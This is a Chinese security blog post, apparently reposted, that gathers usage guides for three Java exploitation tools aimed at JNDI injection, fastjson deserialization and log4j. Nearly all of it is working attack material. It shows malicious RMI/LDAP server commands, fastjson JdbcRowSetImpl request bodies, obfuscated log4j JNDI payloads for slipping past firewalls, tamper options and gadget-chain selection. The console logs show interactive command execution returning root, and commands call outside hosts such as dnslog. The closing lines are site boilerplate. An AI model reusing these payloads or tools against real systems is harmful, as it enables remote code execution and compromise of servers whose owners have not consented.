特点:有绕过模块

项目地址:https://github.com/wyzxxz/jndi_tool

声明: 此工具仅用于企业安全人员自查验证自身企业资产的安全风险,或有合法授权的安全测试,请勿用于其他用途,如有,后果自负。

download_url:

https://toolaffix.oss-cn-beijing.aliyuncs.com/jndi_tool.jar

java -jar jndi_tool.jar Usage:jndi_http:java -cp jndi_tool.jar jndi.HRMIServer 127.0.0.1 80 "curl dnslog.wyzxxz.cn" java -cp jndi_tool.jar jndi.HLDAPServer 127.0.0.1 80 "curl dnslog.wyzxxz.cn"rmi_high_jdk:java -cp jndi_tool.jar jndi.EvilRMIServer 8888 1099 "curl dnslog.wyzxxz.cn" el-win/el-linux/groovyldap_normal:java -cp jndi_tool.jar jndi.LDAPRefServer 1099 host=127.0.0.1ldap_auto:java -cp jndi_tool.jar jndi.LDAPRefServerAuto 127.0.0.1 1099 80 file=filename (param_format: __JNDI__) fastjson:java -cp jndi_tool.jar jndi.fastjson.LDAPRefServerAuto 127.0.0.1 1099 file=filename tamper=tohex chunk=onjava -cp jndi_tool.jar jndi.fastjson.BCELEncode "curl dnslog.wyzxxz.cn"java -cp jndi_tool.jar jndi.fastjson.Tamper  "{"abc":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1099/Object","autoCommit":true}}" log4j:java -cp jndi_tool.jar jndi.log4j.HLDAPLog4j 127.0.0.1 80 "whoami" http://target w=tomcat/groory/http  default:httpjava -cp jndi_tool.jar jndi.log4j.Tamper "${jndi:ldap://127.0.0.1/a}" all=true random=truejava -cp jndi_tool.jar jndi.log4j.Log4j 127.0.0.1 80 url=http://xx.xx or urls=1.txt thread=10    log4j检测,建议用0或者4的payload ,相对通用一些

新增的jndi.LDAPRefServerAuto示例:

> cat request1.txtGET /${jndi:__JNDI__} HTTP/1.1Host: xx.xx.xx.xxAccept: ${jndi:__JNDI__}> java -cp jndi_tool.jar jndi.LDAPRefServerAuto xx.xx.xx.xx 1099 80 file=request1.txtor> java -cp jndi_tool.jar jndi.LDAPRefServerAuto xx.xx.xx.xx 1099 80 url="http://xx.xx.xx/${jndi:__JNDI__}"  headers="Accept: ${jndi:__JNDI__}"[-] url: http://xx.xx.xx/${jndi:__JNDI__}[-] process headers: {Accept=${jndi:__JNDI__}}[-] use: ldap://xx.xx.xx:1099/JNDIObject[-] url: http://xx.xx.xx/${jndi:ldap://xx.xx.xx:1099/JNDIObject}[-] LDAP Listening on xx.xx.xx:1099[-] get request delay time, waiting...[-] use waiting time: 1000[-] checking CommonsBeanutils2[-] checking CommonsCollections8[-] checking CommonsCollections10[-] checking CommonsCollectionsK1[-] checking CommonsCollectionsK2[-] checking CommonsCollectionsK3[-] checking CommonsCollectionsK4[-] checking CommonsBeanutils1[*] find: CommonsBeanutils1 can be use[-] checking CommonsCollections1[-] checking CommonsCollections2[-] checking CommonsCollections3[-] checking CommonsCollections5[-] checking CommonsCollections6[-] checking CommonsCollections7[-] checking CommonsCollections9[-] checking Groovy1[-] checking JSON1[*] find: JSON1 can be use[-] checking Jdk7u21[-] checking Spring1[-] checking Spring2[-] checking elwaiting ...retrying ...[*] find: el can be use0. CommonsBeanutils11. JSON12. el[-] please choose gadget, enter q or quit to quit,> 0* example: curl x.xx , bash=curl `whoami`.x.xx[-] please enter command, enter q or quit to quit,> curl x.dnslog[-] please enter command, enter q or quit to quit,> back0. CommonsBeanutils11. JSON12. el[-] please choose gadget, enter q or quit to quit,> 2* example: curl x.xx , bash=curl `whoami`.x.xx[-] please enter command, enter q or quit to quit,> curl x.dnslog[-] please enter command, enter q or quit to quit,> q                                  ===================================================================================================[root@ /]# java -cp jndi_tool.jar jndi.HRMIServer xx.xx.xx.xx 80 "curl dnslog.wyzxxz.cn"[-] Opening JRMP listener on 80[-] Have connection from /xx.xx.xx.xx:33543[-] Reading message...[-] Is RMI.lookup call for Exploit 2[-] Sending remote classloading stub targeting http://xx.xx.xx.xx:80/Object.class[-] Closing connection[*] Have connection from /xx.xx.xx.xx:33544 /Object.class[-] remote target jdk version: java/1.7.0_79, use payload version: jdk7[-] send payload done and exit.[root@ /]# java -cp jndi_tool.jar jndi.HLDAPServer xx.xx.xx.xx 80 "curl dnslog.wyzxxz.cn"[-] LDAP Listening on 0.0.0.0:80[*] Send LDAP reference result for Exploit redirecting to http://xx.xx.xx.xx:80/Object.class[*] Have connection from /xx.xx.xx.xx:33548 /Object.class[-] remote target jdk version: java/1.7.0_79, use payload version: jdk7[-] remote target jdk version: java/1.7.0_79, use payload version: jdk7[-] send payload done and exit.

rmi:

1. 启动RMI服务,后面写要执行的语句

java -cp jndi_tool.jar jndi.EvilRMIServer 1099 8888 "curl dnslog.wyzxxz.cn"

2.发送请求包

POST /test HTTP/1.1Host: 127.0.0.1Content-Type: application/jsonAccept-Encoding: gzip, deflateConnection: closeAccept: */*User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

3. 查看日志是否curl成功

ldap:

1. 启动LDAP服务,后面写要执行的语句

> java -cp jndi_tool.jar jndi.LDAPRefServer 1099 host="0.0.0.0"[-] Payloads: CommonsBeanutils1-2,CommonsCollections1-10,CommonsCollectionsK1-4,Groovy1,Clojure,JSON1,Spring1-2,URLDNS,file,tomcat,groovy[-] etc: ldap://0.0.0.0:1099/CommonsBeanutils1/curl x.cn[-] etc: ldap://0.0.0.0:1099/CommonsCollections1/bash=ping x.cn  # bash=后面的命令会自动进行base64编码,支持base=,python=,powershell=,perl=[-] etc: ldap://0.0.0.0:1099/URLDNS/x.cn[-] etc: ldap://0.0.0.0:1099/file/base64data_filename[-] etc: ldap://0.0.0.0:1099/el/whomai[-] etc: ldap://0.0.0.0:1099/groovy/whomai[-] etc: ldap://0.0.0.0:1099/mlet/http://xx.xx[-] etc: ldap://0.0.0.0:1099/groovyload/http://xx.xx[-] etc: ldap://0.0.0.0:1099/snakeyaml/http://xx.xx/x.jar[-] etc: ldap://0.0.0.0:1099/xstream/curl x.dns[-] etc: ldap://0.0.0.0:1099/mvel/whoami[-] etc: ldap://0.0.0.0:1099/loadlib//tmp/nativeLib_name[-] etc: ldap://0.0.0.0:1099/tomcatxxe/http://xx.xx/xxe.xmljdbc:[-] etc: ldap://0.0.0.0:1099/tomcatdbcp/whoami[-] etc: ldap://0.0.0.0:1099/tomcatdbcp2/whoami[-] etc: ldap://0.0.0.0:1099/commondbcp/whoami[-] etc: ldap://0.0.0.0:1099/commondbcp2/whoami[-] etc: ldap://0.0.0.0:1099/tomcatjdbc/whoami[-] etc: ldap://0.0.0.0:1099/druidjdbc/whoami

2.发送请求包

POST /test HTTP/1.1Host: 127.0.0.1Content-Type: application/jsonAccept-Encoding: gzip, deflateConnection: closeAccept: */*User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xx.xx.xx.xx:1099/CommonsCollections1/curl x.com","autoCommit":true}

3.查看日志是否执行成功

fastjson:

> java -cp jndi_tool.jar jndi.fastjson.LDAPRefServerAuto 127.0.0.1 1099 file=filenamefilename为请求包,需要插入fastjson攻击语句的地方,用__PAYLOAD__代替。示例:POST /fastjson_demo HTTP/1.1Host: xx.xx.xx.xxConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.16 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Content-Type: application/jsonContent-Length: 165__PAYLOAD__> java -cp jndi_tool.jar jndi.fastjson.LDAPRefServerAuto 127.0.0.1 8088 file=req chunk=on[-] Chunked coding ON[-] target: https://xx.xx.xx.xx/fastjson_demo[-] Payload list:0. {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8088/Object","autoCommit":true}1. {"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8088/Object","autoCommit":true}}[-] [-] please chosse payload, or input payload like payload={......}  chunk=on / chunk=off> 1[-] url: https://xx.xx.xx.xx/fastjson_demo[-] post_data: {"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8088/Object","autoCommit":true}}[-] LDAP Listening on 127.0.0.1:8088[-] checking CommonsBeanutils1[*] find: CommonsBeanutils1 can be use[*] CHECK ECHO.[-] ECHO FIND.[-] please enter command, enter q or quit to quit, tomcatshell or springshell get memshell, chunk=on / chunk=off> iduid=0(root) gid=0(root) groups=0(root)[-] please enter command, enter q or quit to quit, tomcatshell or springshell get memshell, chunk=on / chunk=off> q[-] quit> fastjson.Tamper : fastjson的一些特性,可以绕一些WAF[-] tamper list: tohex tounicode tohexunicode tourlencode randomhex randomunicode addis addcomment addmorecomment addcommas      addrandomx add- add_ addsize       填充内容tamper支持多个,但有些不能一起用,多个注意使用的先后顺序,例如 tohex,addcomment

log4j:

> java -cp jndi_tool.jar jndi.log4j.Log4j vps_ip 8099 url=http://xx.xx.xx[-] LDAP Listening on 0.0.0.0:800. ${jndi:ldap://********/xobject}1. ${jndi:ldap://127.0.0.1#********/xobject}2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://********/xobject}3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://********/xobject}4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://********/xobject}5. ${${spH::-j}${Gdt:zhN:-n}${YCJe::-d}${t:bbru:-i}:${irS:LbN:-l}${m:vjW:-d}${UFd:VVf:-a}${W::-p}://********/xobject}6. ${${bQjc::cQT:-j}${fQLP:NAJR:-n}${Ko:c:G:lbhy:-d}${:GXH::Sd:-i}:${MEU:TXgc:VRc:-l}${A:eMJA:qA:kNXt:-d}${:W::-a}${JbuH:Pbq:IDW:-p}://********/xobject}7. ${${lower:${lower:${lower:j}}}${lower:${lower:n}}${lower:d}${lower:i}:${lower:${lower:l}}${lower:${lower:${lower:d}}}${lower:${lower:${lower:${lower:${lower:a}}}}}${lower:${lower:p}}://********/xobject}8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:${upper:d}}}}}${upper:${upper:i}}:${upper:${upper:${upper:l}}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:${upper:p}}}}://********/xobject}9. ${${upper:${upper:${lower:j}}}${upper:${lower:n}}${lower:${upper:${lower:d}}}${upper:${lower:i}}:${upper:l}${upper:${upper:d}}${lower:${upper:a}}${upper:${lower:${lower:p}}}://********/xobject}[-] please chosse payload, or input payload like payload=${......}> 4[-] payload: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://****/xobject}> threads: 1> url count: 1[-] start exploit. waiting...>> target is vul: http://xx.xx.xx[-] waiting exit...[-] exit.         > java -cp jndi_tool.jar jndi.log4j.Log4j vps_ip 8099 urls=1.txt[-] LDAP Listening on 0.0.0.0:800. ${jndi:ldap://********/xobject}1. ${jndi:ldap://127.0.0.1#********/xobject}2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://********/xobject}3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://********/xobject}4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://********/xobject}5. ${${spH::-j}${Gdt:zhN:-n}${YCJe::-d}${t:bbru:-i}:${irS:LbN:-l}${m:vjW:-d}${UFd:VVf:-a}${W::-p}://********/xobject}6. ${${bQjc::cQT:-j}${fQLP:NAJR:-n}${Ko:c:G:lbhy:-d}${:GXH::Sd:-i}:${MEU:TXgc:VRc:-l}${A:eMJA:qA:kNXt:-d}${:W::-a}${JbuH:Pbq:IDW:-p}://********/xobject}7. ${${lower:${lower:${lower:j}}}${lower:${lower:n}}${lower:d}${lower:i}:${lower:${lower:l}}${lower:${lower:${lower:d}}}${lower:${lower:${lower:${lower:${lower:a}}}}}${lower:${lower:p}}://********/xobject}8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:${upper:d}}}}}${upper:${upper:i}}:${upper:${upper:${upper:l}}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:${upper:p}}}}://********/xobject}9. ${${upper:${upper:${lower:j}}}${upper:${lower:n}}${lower:${upper:${lower:d}}}${upper:${lower:i}}:${upper:l}${upper:${upper:d}}${lower:${upper:a}}${upper:${lower:${lower:p}}}://********/xobject}[-] please chosse payload, or input payload like payload=${......}> 4[-] payload: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://********/xobject}> threads: 2> url count: 2[-] start exploit. waiting...>> target is vul: http://xx.xx.xx>> target is vul: http://xx.xx.xx[-] waiting exit...[-] exit> java -cp jndi_tool.jar jndi.log4j.HLDAPLog4j xx.xx.xx.xx 8088 "whoami" http://xx.xx.xx:8080/[-] LDAP Listening on 0.0.0.0:80880. ${jndi:ldap://127.0.0.1:8088/xobject}1. ${jndi:ldap://127.0.0.1#127.0.0.1:8088/xobject}2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://127.0.0.1:8088/xobject}3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:8088/xobject}4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:8088/xobject}5. ${${kXqh:pJ:-j}${FAvg:PfJU:-n}${DMCK:qO:-d}${::-i}:${z:Aq:-l}${:XT:-d}${cFEq::-a}${DfP:dpH:-p}://127.0.0.1:8088/xobject}6. ${${RkL:kdx:x:Ta:vT:zMy:-j}${:CFf:yI:-n}${:CR:LqeF::-d}${EY:LgWR:Y:lao:-i}:${Y:D:-l}${HSh:lK:C:-d}${UIyH:ppxT:-a}${cNi:gxB:z:-p}://127.0.0.1:8088/xobject}7. ${${lower:${lower:j}}${lower:${lower:${lower:n}}}${lower:${lower:d}}${lower:${lower:i}}:${lower:l}${lower:${lower:${lower:${lower:d}}}}${lower:${lower:${lower:a}}}${lower:${lower:p}}://127.0.0.1:8088/xobject}8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:d}}}}${upper:${upper:i}}:${upper:${upper:l}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:p}}}://127.0.0.1:8088/xobject}9. ${${upper:${upper:${upper:j}}}${upper:n}${lower:${upper:${lower:${lower:d}}}}${upper:${lower:${lower:i}}}:${upper:${lower:l}}${upper:${lower:d}}${lower:a}${lower:${upper:${lower:p}}}://127.0.0.1:8088/xobject}[-] please chosse payload, or input payload like payload=${......}> 0[-] payload: ${jndi:ldap://127.0.0.1:8088/xobject}[-] start exploit. waiting...[-] remote target jdk version: java/1.8.0_131, use payload version: jdk8[-] send payload done[-] waiting result...result: root> java -cp jndi_tool.jar jndi.log4j.HLDAPLog4j xx.xx.xx.xx 8088 "whoami" http://xx.xx.xx:8080/ w=tomcat  // 高版本jdk的绕过,依赖el[-] LDAP Listening on 0.0.0.0:80880. ${jndi:ldap://127.0.0.1:8088/xobject}1. ${jndi:ldap://127.0.0.1#127.0.0.1:8088/xobject}2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://127.0.0.1:8088/xobject}3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:8088/xobject}4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:8088/xobject}5. ${${kXqh:pJ:-j}${FAvg:PfJU:-n}${DMCK:qO:-d}${::-i}:${z:Aq:-l}${:XT:-d}${cFEq::-a}${DfP:dpH:-p}://127.0.0.1:8088/xobject}6. ${${RkL:kdx:x:Ta:vT:zMy:-j}${:CFf:yI:-n}${:CR:LqeF::-d}${EY:LgWR:Y:lao:-i}:${Y:D:-l}${HSh:lK:C:-d}${UIyH:ppxT:-a}${cNi:gxB:z:-p}://127.0.0.1:8088/xobject}7. ${${lower:${lower:j}}${lower:${lower:${lower:n}}}${lower:${lower:d}}${lower:${lower:i}}:${lower:l}${lower:${lower:${lower:${lower:d}}}}${lower:${lower:${lower:a}}}${lower:${lower:p}}://127.0.0.1:8088/xobject}8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:d}}}}${upper:${upper:i}}:${upper:${upper:l}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:p}}}://127.0.0.1:8088/xobject}9. ${${upper:${upper:${upper:j}}}${upper:n}${lower:${upper:${lower:${lower:d}}}}${upper:${lower:${lower:i}}}:${upper:${lower:l}}${upper:${lower:d}}${lower:a}${lower:${upper:${lower:p}}}://127.0.0.1:8088/xobject}[-] please chosse payload, or input payload like payload=${......}> 0[-] payload: ${jndi:ldap://127.0.0.1:8088/xobject}[-] start exploit. waiting...[-] input class: tomcat, command: curl xx.xx.xx[*] Send data...[-] exit.> java -cp jndi_tool.jar jndi.log4j.Tamper "${jndi:ldap://127.0.0.1/a}"  random=true[-] process all string is: False[-] random process string is: True--------------------------------------------------${jndi:ldap://127.0.0.1/a}${j${upper:n}d${upper:i}:l${upper:d}${upper:a}p://127.0.0.1/a}${j${upper:n}d${upper:${upper:i}}:l${upper:d}${upper:a}p://127.0.0.1/a}${j${lower:n}d${lower:i}:l${lower:d}${lower:a}p://127.0.0.1/a}${j${::-n}d${::-i}:l${::-d}${::-a}p://127.0.0.1/a}${j${Omhc:qBz:-n}d${b:Hz:-i}:l${vX::-d}${puF:A:-a}p://127.0.0.1/a}${j${Ez:mk:cHK:Xwn::-n}d${TXjk:LN:vBjQ::-i}:l${Nz:Of:bfDt:AgIH:-d}${TDN:SchK:uWu::-a}p://127.0.0.1/a}${j${lower:${lower:n}}d${lower:${lower:${lower:${lower:i}}}}:l${lower:${lower:${lower:d}}}${lower:${lower:${lower:${lower:a}}}}p://127.0.0.1/a}${j${upper:${upper:${upper:n}}}d${upper:${upper:${upper:${upper:i}}}}:l${upper:${upper:d}}${upper:${upper:a}}p://127.0.0.1/a}${j${lower:${lower:${lower:${lower:n}}}}d${upper:${lower:${upper:i}}}:l${lower:d}${upper:${upper:${lower:a}}}p://127.0.0.1/a}

JNDI在高版本的JDK下的利用,综合了(乌云最帅没有之一)浅蓝老板的姿势,很赞

fastjson_rec_exploit

项目地址:

https://github.com/mrknow001/fastjson_rec_exploit

优点:对fastjson有绕过模块

使用说明:

fastjson一键命令执行

脚本使用:

usage: Fastjson one-key command is executed! [-h] [-u URL] [-s SELF] [-c COMMAMD]python3 fastjson.py -u [Target Url] -s [self IP] -c [command]optional arguments:-h, --help show this help message and exit-u URL, --url URL 漏洞url-s SELF, --self SELF 自己IP,如果是VPS请输入公网IP-c COMMAMD, --commamd COMMAMD 执行的命令,有空格请加上双引号-m [MODE], --mode [MODE] 选择执行模式(可选),1:ldap模式(默认);2:rmi模式python3 fastjson.py -u http://192.168.1.3/ -s 192.168.1.1 -c "touch /tmp/test.txt

FastjsonExploit

项目地址:

https://github.com/c0ny1/FastjsonExploit

优点:

FastjsonExploit是一个Fastjson漏洞快速漏洞利用框架,主要功能如下:

1. 一键生成利用payload,并启动所有利用环境。

2. 管理Fastjson各种payload(当然是立志整理所有啦,目前6个类,共11种利用及绕过)

使用说明

建造环境

Requires Java 1.7+ and Maven 3.x+

mvn clean package -DskipTests

使用方法

---- -. -. .  .   .   ( .',----- - - ' '    _/      ;--:-         __--------------------__   __U__n_^_''__[. |ooo___  | |_!_||_!_||_!_||_!_| | c(_ ..(_ ..(_ ..( /,,,,,,] | |___||___||___||___| | ,____________'_|,L______],|______________________|/;_(@)(@)==(@)(@)   (o)(o)      (o)^(o)--(o)^(o)FastjsonExploit is a Fastjson library vulnerability exploit framework                Author:c0ny1<[email protected]>Usage: java -jar Fastjson-[version]-all.jar [payload] [option] [command]Exp01: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 rmi://127.0.0.1:1099/Exploit "cmd:calc"Exp02: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 ldap://127.0.0.1:1232/Exploit "code:custom_code.java"Exp03: java -jar FastjsonExploit-[version].jar TemplatesImpl1 "cmd:calc"Exp04: java -jar FastjsonExploit-[version].jar TemplatesImpl1 "code:custom_code.java"Available payload types:    Payload                PayloadType VulVersion      Dependencies                                          -------                ----------- ----------      ------------                                          BasicDataSource1       local       1.2.2.1-1.2.2.4 tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4    BasicDataSource2       local       1.2.2.1-1.2.2.4 tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4    JdbcRowSetImpl1        jndi        1.2.2.1-1.2.2.4                                                       JdbcRowSetImpl2        jndi        1.2.2.1-1.2.4.1 Fastjson 1.2.41 bypass                                JdbcRowSetImpl3        jndi        1.2.2.1-1.2.4.3 Fastjson 1.2.43 bypass                                JdbcRowSetImpl4        jndi        1.2.2.1-1.2.4.2 Fastjson 1.2.42 bypass                                JdbcRowSetImpl5        jndi        1.2.2.1-1.2.4.7 Fastjson 1.2.47 bypass                                JndiDataSourceFactory1 jndi        1.2.2.1-1.2.2.4 ibatis-core:3.0                                       SimpleJndiBeanFactory1 jndi        1.2.2.2-1.2.2.4 spring-context:4.3.7.RELEASE                          TemplatesImpl1         local       1.2.2.1-1.2.2.4 xalan:2.7.2(need Feature.SupportNonPublicField)       TemplatesImpl2         local       1.2.2.1-1.2.2.4 xalan:2.7.2(need Feature.SupportNonPublicField)

关注我们

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月25日09:36:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java基础之JNDIhttp://cn-sec.com/archives/2600720.html

发表评论

匿名网友 填写信息